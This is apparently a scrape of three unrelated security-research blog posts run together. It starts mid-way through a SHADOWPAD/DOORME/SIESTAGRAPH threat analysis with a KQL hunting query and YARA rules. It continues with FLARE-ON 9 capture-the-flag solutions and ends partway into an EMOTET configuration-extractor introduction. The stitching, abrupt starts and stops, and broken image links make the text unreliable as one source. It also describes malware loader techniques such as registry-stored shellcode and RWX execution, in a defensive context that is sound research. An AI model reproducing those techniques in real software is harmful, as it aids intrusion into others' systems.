The sample expects to find a file called log.dll.dat in its root directory using the FindFirstFile and FindNextFile APIs. Once log.dll.dat is located, it is loaded, encrypted, and stored in the registry under the HKEY\_LOCAL\_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\\{1845df8d-241a-a0e4-02ea341a79878897\}\D752E7A8\} registry value.

This registry value seems to be hard coded. If the file isn't found and the hard coded registry key doesn’t exist, the application crashes.

Once the contents of log.dll.dat have been encrypted and embedded in the registry, the original file will be deleted. On subsequent runs, the shellcode will be loaded directly from the registry key.

Shellcode

To execute the shellcode the sample will allocate an RWX-protected memory region using the VirtualAlloc Windows API, then write the shellcode to the memory region and pass execution to it with an ESI instruction call.

Other SHADOWPAD research

While researching shared code and techniques, Elastic Security Labs identified a publication from SecureWorks’ CTU that describes the BitDefender sideload vulnerability. Additionally, SecureWorks has shared information describing the functionality of a file, log.dll.dat , which is consistent with our observations. The team at Positive Technologies ETC also published detailed research on SHADOWPAD which aligns with our research.

SHADOWPAD Summary

SHADOWPAD is a malware family that SecureWorks CTU has associated with the BRONZE UNIVERSITY threat group and Positive Technologies ETC has associated with the Winnti group.

Campaign and adversary modeling

Our analysis of Elastic telemetry, combined with open sources and compared with third-party reporting, concludes a single nationally-aligned threat group is likely responsible. We identified relationships involving shared malware, techniques, victimology, and observed adversary priorities. Our confidence assessments vary depending on the sourcing and collection fidelity.

We identified significant overlaps in the work of Positive Technologies ETC and SecureWorks CTU while researching the DOORME, SIESTAGRAPH, and SHADOWPAD implants, and believe these are related activity clusters.

In the following analysis, we’ll discuss the four campaigns that we associate with this intrusion set including sourcing, intersections, and how each supported our attribution across all campaigns.

1. Winnti - reported by Positive Technologies, January 2021
2. Undisclosed REF, Winnti - observed by Elastic Security Labs, March 2022
3. REF2924, ChamelGang, Winnti - reported by Elastic Security Labs, December 2022
4. Undisclosed REF, ChamelGang - observed by Elastic Security Labs, December 2022

Winnti

In January of 2021, the team at Positive Technologies ETC published research that overlapped with our observations for REF2924; specifically SHADOWPAD malware deployed with the file names log.dll and log.dll.dat and using the same sample of BitDefender we observed as a DLL injection vehicle.

While the research from Positive Technologies ETC covered a different activity cluster, the adversary deployed a similar variant of SHADOWPAD, used a similar file naming methodology, and leveraged similar procedure-level capabilities; these consistencies contribute to our conclusion that REF2924 is related. In the graphic above, we use a dashed line to represent third-party consensus and moderate confidence because, while the reporting appears thorough and sound, we cannot independently validate all findings.

Undisclosed REF, Winnti

In early 2022, Elastic observed a short-lived intrusion into a telecommunications provider in Afghanistan. Using code analysis and event sampling, we internally attributed these sightings to WINNTI malware implants and external research overlaps with the Winnti Group. We continue to track this intrusion set, independently of and in relation to REF2924 observations.

REF2924, ChamelGang, Winnti

In early December 2022, we observed Powershell commands used to collect and export mailboxes from an internet-connected Microsoft Exchange server for the Foreign Affairs Office of an Association of Southeast Asian Nations (ASEAN) member. Our research identified the presence of the DOORME backdoor, SHADOWPAD, and a new malware implant we call SIESTAGRAPH (discussed in the SIESTAGRAPH code analysis section above).

In researching the events of REF2924, we believe they are consistent with details noted by Positive Technologies' research into ChamelGang, and likely represent the actions of one group with shared goals.

Undisclosed REF, ChamelGang

Using the DOORME IIS backdoor that we collected during research into REF2924, we developed a scanner that identified the presence of DOORME on an internet-connected Exchange server at a second telecommunications provider in Afghanistan.

Campaign associations

Building associations between events, especially when relying on third-party reporting, is a delicate balance between surfacing value from specific observations and suppressing noise from circular reporting. Details reported by research teams and consisting of atomic indicators, techniques, procedures, and capabilities provide tremendous value in spotting associations between activity clusters. Elements of evidence that are repeated multiple times via circular reporting can lead to over-weighting that evidence. In analyzing these activity clusters, we have specific observations from our telemetry (host artifacts, capabilities, functionality, and adversary techniques) and third-party reporting consistent with our findings.

We use third-party reporting as supporting, but not factual, evidence to add context to our specific observations. It may be possible to verify a third-party had firsthand visibility of a threat, but that’s a rare luxury. We used estimative language in building associations where appropriate.

To uncover potential associations among these campaigns, we weighed host artifacts, tools, and TTPs more heavily than transitory atomic indicators like hashes, IP addresses, and domains.

We’ll discuss notable (non-exhaustive) overlaps in the following section.

Campaigns 1 and 3

Campaigns 1 (Winnti) and 3 (REF2924, ChamelGang, Winnti) are related by several elements: the use of the SHADOWPAD malware family, the specific file names ( log.dll and log.dll.dat ), and the injection technique using the same BitDefender hash.

Campaigns 3 and 4

Campaigns 3 (REF2924, ChamelGang, Winnti) and 4 (Undisclosed REF, ChamelGang) are related by the presence of a specifically configured DOORME backdoor and a shared national strategic interest for the adversary.

Using network scan results for about 180k publicly-accessible Exchange servers, and specific authentication elements uncovered while reverse engineering REF2924’s DOORME sample, we were able to identify an identical DOORME configuration at a second telecommunications provider in Afghanistan. This was a different victim than Campaign 2 (Undisclosed REF, Winnti).

While the DOORME IIS backdoor is not widely prevalent, simply having DOORME in your environment isn’t a strong enough data point to build an association. The presence of this DOORME configuration, when compared to a search of 180k other Exchange servers and the moderate confidence of the national strategic interests, led us to associate Campaigns 3 and 4 together with high confidence and that Campaign 4 was also a part of the same threat group.

Summary

DOORME allows for a threat actor to access a targeted network through the use of a backdoored IIS module on an internet-connected server. DOORME includes the capability to collect information about the infected host, upload shellcode chunks to evade detection, and execute shellcode in memory.

SIESTAGRAPH is an implant discovered by Elastic Security Labs that uses the Microsoft Graph API for command and control. The Graph API is used for interacting with Microsoft Office 365, so C2 communication would be largely masked by legitimate network traffic. Elastic Security Labs has reported the tenant ID hard coded into SIESTAGRAPH to Microsoft.

Based on our code analysis and the limited internet presence of DOORME and SIESTAGRAPH, we believe that this intrusion set is used by a limited distribution, or singular, threat actor.

SHADOWPAD is a modular malware family that is used as a way to load and execute shellcode onto a victim system. While it has been tracked since 2017, SHADOWPAD continues to be a capable and popular remote access and persistence tool.

The REF2924 intrusion set, using SIESTAGRAPH, DOORME, SHADOWPAD, and the system binary proxy execution technique (among others) represents an attack group that appears focused on priorities that, when observed across campaigns, align with a sponsored national strategic interest.

Detections

Hunting queries

Hunting queries are used as a starting point for potentially malicious events, but because every environment is different, an investigation should be completed.

The following KQL query can be used to hunt for additional behaviors related to SIESTAGRAPH. This query looks for processes that are making DNS queries to graph.microsoft.com where the process does not have a trusted code-signing certificate or the process is not signed by Microsoft.

dns.question.name : "graph.microsoft.com" and (process.code_signature.trusted : “false” or not (process.code_signature.subject_name : "Microsoft Windows" or process.code_signature.subject_name : "Microsoft Windows Publisher" or process.code_signature.subject_name : "Microsoft Corporation")) and process.name : *

Signatures

• Windows.Trojan.DoorMe
• Windows.Trojan.SiestaGraph
• Windows.Trojan.ShadowPad

YARA rules

The DOORME IIS module

rule Windows_Trojan_DoorMe {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-09"
        last_modified = "2022-12-15"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "DoorMe"
        threat_name = "Windows.Trojan.DoorMe"
        license = "Elastic License v2"
    strings:
        $seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
        $seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
        $seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
        $seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
        $seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
        $str_0 = ".?AVDoorme@@" ascii fullword
    condition:
        3 of ($seq*) or 1 of ($str*)
}

The SIESTAGRAPH implant

rule Windows_Trojan_SiestaGraph {
    meta:
        author = "Elastic Security"
        creation_date = "2022-12-14"
        last_modified = "2022-12-15"
        os = "windows"
        arch_context = "x86"
        category_type = “Trojan”
        family = “SiestaGraph”
        threat_name = "Windows.Trojan.SiestaGraph"
        license = "Elastic License v2"
    strings:
        $a1 = "downloadAsync" ascii nocase fullword
        $a2 = "UploadxAsync" ascii nocase fullword
        $a3 = "GetAllDriveRootChildren" ascii fullword
        $a4 = "GetDriveRoot" ascii fullword
        $a5 = "sendsession" wide fullword
        $b1 = "ListDrives" wide fullword
        $b2 = "Del OK" wide fullword
        $b3 = "createEmailDraft" ascii fullword
        $b4 = "delMail" ascii fullword
    condition:
        all of ($a*) and 2 of ($b*)
}

The SHADOWPAD malware family

rule Windows_Trojan_ShadowPad_1 {
	meta:
		author = "Elastic Security"
		creation_date = "2023-01-23"
		last_modified = "2023-01-31"
		description = "Target SHADOWPAD obfuscation loader+payload"
		os = "Windows"
		arch = "x86"
		category_type = "Trojan"
		family = "ShadowPad"
		threat_name = "Windows.Trojan.ShadowPad"
		license = "Elastic License v2"
	strings:
		$a1 = { 87 0? 24 0F 8? }
		$a2 = { 9C 0F 8? }
		$a3 = { 03 0? 0F 8? }
		$a4 = { 9D 0F 8? }
		$a5 = { 87 0? 24 0F 8? }
	condition:
		all of them
}
rule Windows_Trojan_Shadowpad_2 {
	meta:
		author = "Elastic Security"
		creation_date = "2023-01-31"
		last_modified = "2023-01-31"
		description = "Target SHADOWPAD loader"
		os = "Windows"
		arch = "x86"
		category_type = "Trojan"
		family = "Shadowpad"
		threat_name = "Windows.Trojan.Shadowpad"
		license = "Elastic License v2"
	strings:
		$a1 = "{%8.8x-%4.4x-%4.4x-%8.8x%8.8x}"
	condition:
		all of them
}
rule Windows_Trojan_Shadowpad_3 {
	meta:
		author = "Elastic Security"
		creation_date = "2023-01-31"
		last_modified = "2023-01-31"
		description = "Target SHADOWPAD payload"
		os = "Windows"
		arch = "x86"
		category_type = "Trojan"
		family = "Shadowpad"
		threat_name = "Windows.Trojan.Shadowpad"
		license = "Elastic License v2"
	strings:
		$a1 = "hH#whH#w" fullword
		$a2 = "Yuv~YuvsYuvhYuv]YuvRYuvGYuv1:tv<Yuvb#tv1Yuv-8tv&Yuv" fullword
		$a3 = "pH#wpH#w" fullword
		$a4 = "HH#wHH#wA" fullword
		$a5 = "xH#wxH#w:$" fullword
		$re1 = /(HTTPS|TCP|UDP):\/\/[^:]+:443/
	condition:
		4 of them
}

References

• https://www.elastic.co/es/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry
• https://www.microsoft.com/en-us/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/
• https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad
• https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
• https://www.secureworks.com/research/shadowpad-malware-analysis
• https://www.secureworks.com/research/threat-profiles/bronze-university
• https://www.ptsecurity.com/upload/corporate/ww-en/pt-esc/winnti-2020-eng.pdf
• https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/

Indicators

Artifacts are available from the previously published REF2924 research.

To celebrate cybersecurity month, the Malware Analysis and Reverse Engineering Team (MARE) enjoyed participating in the Mandiant FLARE-ON Challenge. FLARE-ON is an excellent event for participants of all backgrounds and experience levels who want to learn more about malware analysis. This year consisted of 11 different reverse engineering challenges with a range of interesting binaries. We really enjoyed working on these challenges and have published our solutions here to Elastic Security Labs.

Challenge 1 - “Flaredle”

Welcome to FLARE-ON 9! You probably won't win. Maybe you're like us and spent the year playing Wordle. We made our own version that is too hard to beat without cheating. Play it live at: http://flare-on.com/flaredle/

Solution

After downloading and unpacking the file, we see 4 file objects.

The index.html file and accompanying js files give away what we are talking about is a HTML/JavaScript challenge. Opening the file script.js confirms our suspicion. In the first few lines of code the answer to the challenge is clear to the trained eye. Let’s explain.

On line 9 the value of rightGuessString translates to WORDS[57]. Even if you don't know javascript, the variables and iterative loop suggest an evaluation of the user-supplied guess (rightGuessString) and a hard-coded value. If we look at the contents of words.js, we see the correct value on the 58th line (javascript arrays begin with 0 but the file start at line 1): "flareonisallaboutcats".

By visiting the online game and submitting this string, we can validate the correct flag for challenge one!

Flag: flareonisallaboutcats@flare-on.com

Challenge 2 - “Pixel Poker”

I said you wouldn't win that last one. I lied. The last challenge was basically a captcha. Now the real work begins. Shall we play another game?

Solution

This challenge consists of a 32-bit Windows application that has been sweeping the nation, called Pixel Poker! Users get 10 attempts to click on the correct pixel from the window before the program terminates.

The error message after 10 failed attempts provided a reliable lead to follow, and we focused on where that click restriction was implemented. We converted that decimal value of 10 into hexadecimal (0xA) and kicked off an immediate value search.

The first result from our search is listed with instructions: cmp eax, 10. You might not be fluent in assembly, but “cmp” is a mathematical instruction to compare the contents of “eax” with the number ten. At first glance, that looks like the kind of logic behind that click restriction.

By viewing the decompiled code, we can confirm this is our intended target instruction with the error message we saw on prior screenshot after the 10 attempts. We’re one step closer to knowing where to click in the window.

In order to locate the validation logic and those coordinates, we look at code in close proximity to the previous error message. We observe two instances where the EAX register is populated using strings (“FLAR”) and (“E-On”) that then get divided with hardcoded values and compared with our clicked pixel values.

After these straightforward operations, we derive two coordinates (95, 313). If you are up for a challenge and haven’t had too much coffee, go on and click that pixel.

The flag can also be attained by leveraging a debugger and enabling the zero-flag (ZF) on two JNZ (jump-if-not-zero) instructions that appear directly after the previously-mentioned compare checks. This method allows us to bypass manually clicking the correct pixel location.

For fun, we wrote a small program to patch out the click restriction and brute force clicking all available pixels using the SendMessage API.

Two minutes and about 100,000 clicks later, the flag was released to us.

*Flag: *_w1nN3r_W!NneRcHick3n_d1nNer@flare-on.com

Challenge 3 - “Magic 8 Ball”

You got a question? Ask the 8 ball!

Solution

This challenge appeared to be an interactive 8-ball game developed with an open source SDL library. Based on quick observations, there are two obvious inputs moving the 8-ball directionally (left, up, down, right) and an input box with a maximum of 75 characters.

The first starting point was tracing the string “Press arrow keys to shake the ball” that was displayed in the application. The decompiled view of the function containing this string showed another string directly above it was being copied (“gimme flag pls?”).

Our next pivot was reviewing the code calling this function for more context. After the software executes and the game is displayed, a “do while” loop polls for input.

One function we reviewed stood out, one containing multiple “if then” conditional statements based on single character values.

Our malware analysts begin their careers in childhood, diligently playing video games for literally hours at a time– to them this pattern resembles the Konami code, by which players enabled undocumented features after entering a series of inputs (left, left, up, right, up, left, down, up, left).

By moving the 8-ball first in this order of operations and then entering the previously-recovered string (“gimme flag pls?”), we unlocked the flag.

Flag: UcRackeD_th1$_maG1cBaLL!! _@flare-on.com

Challenge 4 - “darn_mice”

"If it crashes it's user error." -Flare Team

Solution

The fourth challenge was a 32bit PE binary. Executed without any arguments, the binary initially appeared to run briefly before terminating. When run with arguments, though, we see a strange error message.

After opening the binary in IDA and tracing that error, we determined that the first argument is being passed to the function sub_401000.

In this function we see that our input is added to the values of a constant array, and at line 51 we see that the result is executed as code. This means that our input and the value in the array are resolved as an opcode which is returned. And that means a NOP opcode (0x90) isn’t an option, if you’re following along. The opcode we’re looking for is RET (0xC3): we copied the byte sequences out of IDA and hacked together an evaluation in Python.

arr = [0x50,0x5E,0x5E,0xA3,0x4F,0x5B,0x51,0x5E,0x5E,0x97,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA3,0x80,0x90,0xA2,0xA3,0x6B,0x7F]"".join([chr(0xC3 - c) for c in arr])

Using the current input we can retrieve the flag.

Flag: iw0uld_l1k3_to_RETurn_thisjoke@flare-on.com

Challenge 5 - “T8”

FLARE FACT #823: Studies show that C++ Reversers have fewer friends on average than normal people do. That's why you're here, reversing this, instead of with them, because they don't exist. We’ve found an unknown executable on one of our hosts. The file has been there for a while, but our networking logs only show suspicious traffic on one day. Can you tell us what happened?

Solution

For this challenge, we’ve been provided with a PCAP in addition to a binary.

PCAP file overview

The PCAP contains the communication between the binary and a C2 server (not provided). Having studied thousands of PCAPs, we note an exchange between the binary and C2 server that resembles base64.

Binary overview

This binary appears to be written in C++ or implement classes in a similar way.

If this binary is written in C++, our goal is to find the VTABLE and reconstruct it. The VTABLE in question is located in .rdata at the address 0x0100B918, which means we can stop speculating about this being C++.

Renaming the VTABLE functions makes analysis easier and more efficient. We stepped through execution, and a few operations stood out. Following the flow of execution, a pseudorandom string was generated by the function located at 0x0FC1020, using the srand and rand APIs to randomly generate 5 digits. After appending those to the substring FO9, the entire string is MD5-hashed.

The string “ahoy” is RC4-encrypted using the MD5 hash as a key, and then the result is base64-encoded and sent to the server using an HTTP POST request. Data sent back from C2 is base64-decoded and then decrypted using the same MD5 hash. To proceed with the challenge, we’ll need to apply our understanding of this configuration.

Our next objective is to bruteforce the random string to derive the RC4 key. To do that, we wrote a script to generate a word list of all the possible values for that string of eight characters which will resemble “FO9<5DIGITS>”. We also know that the string “ahoy” is encrypted and encoded by this process, which means we can look for that string in the PCAP by searching for “ydN8BXq16RE=”.

Our script tells us the random string (F0911950) and hash (a5c6993299429aa7b900211d4a279848), so we can emulate the C2 server and replay the PCAP to decrypt the data. But, as seen in the screenshot below, just putting a breakpoint after the decrypt_server_data function we can find the flag.

Flag: is33you_m00n@flare-on.com

Challenge 6 - “à la mode”

FLARE FACT #824: Disregard flare fact #823 if you are a .NET Reverser too. We will now reward your fantastic effort with a small binary challenge. You've earned it kid!

Solution

This challenge starts off in a hauntingly familiar way: with an incident response chat log and a .NET DLL.

The chat log offers a clue that another (missing) component may interact with the DLL.

Working with .NET samples often, you’ll be familiar with dnSpy. Right away we spotted a function of the DLL labeled GetFlag and containing client-side code for connecting to a NamedPipe called FlareOn.

Given the previous clue, we know there is something more to this DLL. We opened it in IDA and noted some interesting strings, which appear superficially similar.

Cross-referencing these strings led us to a simple encryption function used throughout the program with a single-byte XOR (0x17). In this function the library imports are consistent with NamedPipe functionality.

After annotating the libraries and reviewing this functionality, it establishes a named pipe and performs validation.

This validation function uses a new string encryption function and string comparison (lstrcmpA) when the connection occurs.

With this information, we used x64dbg to set this validation function as the origin function and retrieved the decrypted flag.

Flag: M1x3dM0dE4_l1f3@flare-on.com

Challenge 7 - “anode”

You've made it so far! I can't believe it! And so many people are ahead of you!

Solution

This challenge is a 55 MB Windows PE file which appears to be a packed Node.js binary. When the binary is executed it asks for a flag and returns a “Try Again” error message.

![](/assets/images/flare-on-9-solutions-burning-down-the-house/image40.jpg

Conveniently (but not helpfully), we see it when we search strings.

We can better locate it using the HxD hex editor, which reveals it in a larger blob of cleartext code.

This blob of code also tells us that the flag is expected to have a length of 44 characters. Sometimes the wrong answer tells you enough to get the right one, though. The attempt generated a new error, though. Readers should note that this attempt was coincidentally made using an unpacked version.

That error message appears in the cleartext blog of code we discovered, which helps us locate the responsible logic and get one step closer to the right flag.

Curiously, when submitting the same bad flag using the packed binary, the error is different.

![](/assets/images/flare-on-9-solutions-burning-down-the-house/image40.jpg

If we comment the condition out to bypass that validation, we get another new error.

Something is definitely happening, and while experimenting has revealed a few things we should finish reviewing this cleartext blob of code to understand how the challenge works. It appears as though the flag is submitted and transformed within a state machine that we need to figure out.

And the result of that state machine operation is evaluated against the correct flag.

But now we have a different (bigger) problem, because it looks like each value is XOR-encrypted with a randomly-generated value supplied by the math.random function. Also we don’t know the sequence of values that produce the expected sequence of operations. But this is functional in the challenge binary, which means there’s a fixed sequence of randoms.

We need to dump those values, and we can do this by patching the script being used by the challenge binary and writing that sequence of values to a file.

We also dump the sequence of states using the same method.

Now we can patch the binary to output both sequences of values and states, which makes debugging so much easier.

We have the elements we need to reverse operations and their order, but we’re feeling lazy so let’s build ourselves a javascript deobfuscator! This will help get rid of that state machine and reverse the encryption to reveal the flag, we’re using the pyesprima frontend for Javascript. First, we’ll create a class that inherits the esprima.NodeVisitor class and will be able to visit the JavaScript Abstract Syntax Tree (AST).

Next, we then visit the AST and collect each subtree associated to a switch case node.

For each state that was previously extracted, we test the if/else node’s condition and choose the right branch’s inner subtree. Either the predicate is a literal and we directly test its value or the predicate is a Math.random call so we test the next value.

Finally, for each expression we determine if it contains a Math.floor(Math.random) call and then replace it with the right random value, then for the current state replace the original subtree with our expression.

Pyesprima doesn’t return JavaScript code back from its AST. So we implemented a very small JavaScript code emitter that replaces each node with the proper JavaScript code recursively.

But after comparing the deobfuscated script and the packed binary, we still don’t have the same result!

There must be some shenanigans in addition to math.random. We quickly discover by testing that the if(x) and the if(xn), with x being a number, have two strange different behaviors. if(x) always returns false if the number is > 0 and if(xn) always returns false if the number contains a zero!

So with this in mind, we fixed the predicates in the script before running the deobfuscator again.

This looks like our obfuscated script.

Let’s reverse this obfuscation.

The final inverted script with “target” as the initial flag looks like this:

Readers interested in the scripts created for FLARE-ON challenges can find them linked at the end of this publication.

Running the script ends up producing an array.

Flag: n0tju5t_A_j4vaSCriP7ch4l1eng3@flare-on.com

Challenge 8 - “Backdoor”

I'm such a backdoor, decompile me why don't you…

Solution

This challenge consists of an 11MB Windows PE binary that executes when launched, but returns nothing to the console. We often augment analysis with packet captures, and were listening with WireShark when we observed a DNS resolution event. We’re off to a great start.

We notice a convention that may be significant: we have flare_xx functions and their flared_yy counterparts. If we inspect the flare_xx functions, they each contain a “try/catch” structure.

![](/assets/images/flare-on-9-solutions-burning-down-the-house/image31.jpg

But when we turned to look at their flared_yy counterparts, something's not quite right.

In dnSpy, we trace execution to an InvalidProgramException and don’t reach the flared_yy code. But in spite of that, the challenge seems to execute somewhat successfully.

Beginning with main and analyzing the first function, we have a rough outline of what’s happening: there are two layers of “try/catch” logic doing similar things in different ways, and creating a dynamic method Intermediate Language (IL) somehow provided by parameters.

The first layer, flare_71, constructs a dynamic method with the IL directly passed as parameter:

![](/assets/images/flare-on-9-solutions-burning-down-the-house/image31.jpg

Some behind-the-scenes work happens to patch the IL code using a metadata token that has the dynamic method’s context before SetCode is called. A dictionary of locations and metadata tokens is resolved by calling GetTokenFor in the same context, as well.

After patching, the IL is only valid in the context of the dynamic method. To reconstruct the binary properly, now we need to dump the IL before it can be modified, patch it with the right metadatatoken, and then patch the binary to fix the broken function.

We can create a script to do that in Python.

After patching the binary’s first layer, it decompiles correctly. The flared_70 function, responsible for running the second obfuscation layer, is a bit more complicated though.

The function will read one of its PE sections by name, using the first 8 characters of the hash of the metadata token and corresponding to the function that raised the InvalidProgramException error. This is decrypted with a hardcoded key. The decrypted section contains the IL of the function to call.

The IL patching is somewhat complicated this time and involves a little obfuscation.

The next problem is that we don’t have all the hashes beforehand, only when the function gets called. If we put a breakpoint on the resolving function, we can dump each hash.

We wrote a script to do the patching automatically and run it each time we add a new hash.

At this point most of the functions are deobfuscated and we can move on to the core of the challenge.

Initially we observed a large number of DNS resolution events, but didn’t see the malware attempt a network connection to our Flask server. While debugging the sample, though, we can see what looks like an attempt to process commands.

The problem is that we still don’t know how to interact with the backdoor. By backtracking to the source of each command, we can see that this sample is using the IP addresses received from these DNS resolutions for communication. Now we know why we didn’t see this sample try to connect to our Flask server, at least.

How this worked, we were about to learn, is a little complicated.

The first IP address is used to create a file, after which all commands arrive in the form of a “255.x.y.z” network address. Each IP address returned to the sample is parsed for its octets, but it might be easier to understand with a concrete example:

When a DNS resolution returns 255.0.0.2, the backdoor expects two specific bytes of data (43d and 50d) which are used to calculate what superficially resembles a network address, 43.50.0.0. The command processing function then performs a comparison and appends a value between 0 and 22.

The flared_56 function XORs a value in an array with 248 to determine if the result is equal to the value passed in the parameter or not. If so, it appends a small chunk of text to one of the object’s properties and that value is then removed from the array.

This tells us which command to send and in which order to append all the text chunks. We also noticed that when the array value is empty the _bool flag is set to false. That’s probably not an accident, so let’s inspect any functions using that flag.

This function is triggered each time an element is deleted from the value array.

We can expect something to happen once the right conditions are met, and endeavor to contrive them.

First, we generated a list of all possible IP address values. Then we configured FakeDns to resolve *.flare-on.com to that value list.

Next, we use FakeDns to respond to requests using a round-robin approach that resolves to each IP address in order, until finally we get the response we were waiting for.

*Flag: *_W3_4re_Known_f0rb31ng_Dyn4m1c@flare-on.com

Challenge 9 - “encryptor”

You're really crushing it to get this far. This is probably the end for you. Better luck next year!

Solution

For this challenge, we’re provided two files: a Windows PE executable and an encrypted file.

Encryption is interesting, and when we opened it in HxD we immediately saw a bunch of garbage followed by hexified data.

When the binary is executed, it helpfully indicates a path is expected as an argument.

But nothing happens when a random file is chosen, so a less random file must be what we need.

We begin by tracing the function in IDA and note that it’s looking for a specific extension, “.EncryptMe”.

Let’s try again with a random file that uses that specific file extension.

And we see a new file generated with a different extension (“.Encrypted”) and a larger file size.

Looking more closely at the executable in IDA, we determine that the binary is using ChaCha20 with a random key encrypted using RSA-2048.

We need that key.

On the most basic level, encryption is just a system of math made up of basic operations like addition and multiplication. RSA is considered a strong implementation because it uses big numbers, and most RSA libraries implement a big number library of some kind. But we don’t really want to reverse all that just for the key, especially when we can find all the related functions in the sample and apply our knowledge of RSA.

We need to generate prime numbers for two variables, p and q.

We need to generate the modulus value n, which is equal to p*q. Using p and q as inputs, return n. So far, so good.

And we’re going to need a value phi, which is equal to (p-1)*(q-1).

We deduce that the 2 previous functions are the decrement function that produce p-1 and q-1.

Finally, we have an operation that produces the secret key d using phi and the exponent e.

Notice however that something fishy is already happening because the global variable containing the exponent e is reused and will contain the private key d. Now at least we can validate that the key is encrypted with the private key (d, n) instead of the public key (e, n).

We can use the public key to decrypt the ChaCha20 key, however we don’t know the modulus value or the encrypted key. Fortunately for us, they are both hexified and appended to the encrypted output file.

The encrypted ChaCha20 key is actually contained in the last three rows of the init structure, along with the nonce.

The key can be decrypted with a little python.

And we’re one step closer.

By tracing execution with x64dbg, we can force the decryption of the encrypted file by replacing the ChaCha20 parameters with the key and nonce we’ve just obtained. Another flag down, and one more to go!

*Flag: *_R$A$16n1n615_0pp0$17e0f_3ncryp710n@flare-on.com

Challenge 10 - The Karaoke Labyrinth

Somehow every member of the team has a nearly encyclopedic knowledge of song lyrics, and intuited their way through this one. Surprisingly whimsical, no reversing necessary.

Challenge 11 - “The challenge that shall not be named”

Protection, Obfuscation, Restrictions... Oh my!! The good part about this one is that if you fail to solve it I don't need to ship you a prize.

Solution

This was the eleventh and final challenge of FLARE-ON 9, and unexpectedly straightforward after some of the previous ones. This challenge consisted of a binary, running strings on it gave some hints about it.

“PyInstaller bundles a Python application and all its dependencies into a single package” is a nice summary of what PyInstaller is used for. This binary is compiled from Python scripts and packaged as a single executable, which is less of a problem than it might seem. We encounter those often enough that we’ve found tools to extract python compiled in this way, and we pulled out a few python files.

One of the files, 11.py, threw errors when we attempted to step through it and complained that the library “‘crypt’ has no attribute ‘ARC4’”.

That’s kind of interesting. Notably, we can modify the crypt.py script located in “PYTHON_FOLDER_PATH\lib\crypt.py”, adding the ARC4 function and the class it returns with our custom encrypt function.

When we run 11.py again, this time it prints us a beautiful flag which wakes us from the dream (or nightmare) that is the FLARE-ON challenge.

*Flag: *_Pyth0n_Prot3ction_tuRn3d_Upt0_11@flare-on.com

Conclusion

For the 2022 FLARE-ON challenge, that’s a wrap! We learned a bunch of new things this year and we hope you enjoyed reading our solutions. We’re looking forward to reading yours and learning things we didn’t try.

For those who have waited patiently for a link to scripts, here you go.

Acknowledgements

We want to thank Elastic and Devon Kerr, who gave us the opportunity to spend a week focused on this event. Thanks also to the Mandiant team for the fun and thoughtful challenges: well done. To the researchers who participated, thank you for making it a phenomenal week of learning.

• The EMOTET developers have changed the way they encode their configuration in the 64bit version of the malware.
• Using code emulation we can bypass multiple code obfuscation techniques.
• The use of code emulators in config extractors will become more prevalent in the future.

To download the EMOTET configuration extractor, check out our post on the tool:

• EMOTET configuration extractor

Preamble

The EMOTET family broke onto the malware scene as a modular banking trojan in 2014, focused on harvesting and exfiltrating bank account information by inspecting traffic. EMOTET has been adapted as an early-stage implant used to load other malware families, such as QAKBOT, TRICKBOT, and RYUK. While multiple EMOTET campaigns have been dismantled by international law enforcement entities, it has continued to operate as one of the most prolific cybercrime operations.

For the last several months, Elastic Security has observed the EMOTET developers transition to a 64-bit version of their malware. While this change does not seem to impact the core functionality of the samples we have witnessed, we did notice a change in how the configuration and strings are obfuscated. In earlier versions of EMOTET, the configuration was stored in an encrypted form in the .data section of the binary. In the newer versions the configuration is calculated at runtime. The information we need to extract the configuration from the binary is thus hidden within the actual code.

In the next sections, we’ll discuss the following as it relates to 64-bit EMOTET samples:

• EMOTET encryption mechanisms
